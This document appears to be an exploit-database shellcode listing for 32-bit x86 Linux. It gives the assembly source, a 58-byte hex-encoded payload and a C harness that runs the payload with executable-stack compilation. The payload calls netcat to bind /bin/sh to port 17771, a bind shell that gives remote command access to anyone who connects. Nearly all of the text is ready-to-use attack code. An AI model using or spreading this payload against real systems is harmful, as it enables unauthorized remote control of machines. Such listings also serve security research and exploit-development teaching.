Linux x86 - /bin/nc -le /bin/sh -vp 17771 Shellcode (58 Bytes)

/* 
# Linux x86 /bin/nc -le /bin/sh -vp 17771 shellcode 
# This shellcode will listen on port 17771 and give you /bin/sh 
# Shellcode Author: Oleg Boytsev 
# Tested on: Debian GNU/Linux 7/i686 
# Shellcode Length: 58 
# Command: gcc -m32 -z execstack x86_Linux_netcat_shellcode.c -o x86_Linux_netcat_shellcode 
  
global _start 
section .text 
 _start: 
    xor eax, eax 
    xor edx, edx 
    push eax 
    push 0x31373737     ;-vp17771 
    push 0x3170762d 
    mov esi, esp 
  
    push eax 
    push 0x68732f2f     ;-le//bin//sh 
    push 0x6e69622f 
    push 0x2f656c2d 
    mov edi, esp 
  
    push eax 
    push 0x636e2f2f     ;/bin//nc 
    push 0x6e69622f 
    mov ebx, esp 
  
    push edx 
    push esi 
    push edi 
    push ebx 
    mov ecx, esp 
    mov al,11 
    int 0x80 
*/
  
#include<stdio.h> 
#include<string.h> 
  
unsigned char shellcode[] = 
"\x31\xc0\x31\xd2\x50\x68\x37\x37\x37\x31\x68\x2d\x76\x70\x31\x89\xe6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f\x89\xe7\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x52\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80"; 
  
main() 
{ 
        printf("Shellcode Length: %d\n",strlen(shellcode)); 
        int (*ret)() = (int(*)())shellcode; 
        ret(); 
}